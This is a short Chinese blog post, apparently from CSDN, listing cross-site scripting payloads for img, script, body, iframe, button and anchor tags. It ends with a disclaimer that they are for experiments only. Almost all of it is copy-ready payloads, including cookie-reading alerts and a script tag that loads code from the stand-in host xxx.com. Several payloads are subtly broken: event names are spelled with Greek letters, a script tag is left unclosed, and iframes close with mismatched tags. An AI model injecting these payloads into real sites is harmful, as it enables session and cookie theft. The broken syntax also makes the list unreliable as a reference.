xss 常用语句

柳岸花又明

已于 2024-03-28 16:57:25 修改

阅读量876

点赞数 8

文章标签： javascript 前端 html

于 2024-03-28 16:53:34 首次发布

本文链接：https://blog.youkuaiyun.com/adzz9/article/details/137117371

版权

本文详细列举了各种HTML标签中可能存在的XSS注入点，如<img>、<script>、<body>、<iframe>、<embed>等，并提醒读者这些代码可能导致的安全威胁。作者强调实验性质，同时指出滥用可能导致的实际后果并非作者责任。

摘要生成于 C知道，由 DeepSeek-R1 满血版支持，前往体验 >

<img> 标签：
<img src=1 οnerrοr=alert(document.cookie)> //弹cookie
<img src=1 οnerrοr=alert(/hck/)>
<img src=1 οnerrοr=alert("hck")>
<img src=1 οnerrοr=alert(123)> //对于数字，可以不用引导
<img src="javascript:alert("xss");">
<img dynsrc="javascript:alert('xss')">
<img lowsrc="javascript:alert('xss')">

script标签：
<script>alert(1)<script>
<script src=http://xxx.com/xss.js></script> //引用外部的xss
<script> alert("hack")</script>
<script> alert(document.cookie)</script>

body 标签：
<body οnlοad=alert("xss")>
<body background="javascript:alert("xss")">

iframe 标签：
<iframe srcdoc="<img src=x οnerrοr=alert(document.domain)>"></frame> --弹ip
<iframe srcdoc="<img src=x οnerrοr=alert(1)>"></frame>

点击：
<button src=1 οnclick=alert("你好")>

<img/src=1 οnerrοr=alert(1) /> --反射型
<a href="javascript:confirm('a')" >1</a >
<iframe src= "javascript:alert('iframe')" width = "0" height = "0"/>
–!><script>prompt(1)</script>
<iframe src="data:text/html;base64,PHNjcmlwdD5hbGVydCgnYmFzZTY0X2lmcmFtZScpPC9zY3JpcHQ+">

声明:以上xss语句仅用于实验，利用以上语句对某用户、企业、业务造成影响的，一切与作者无关。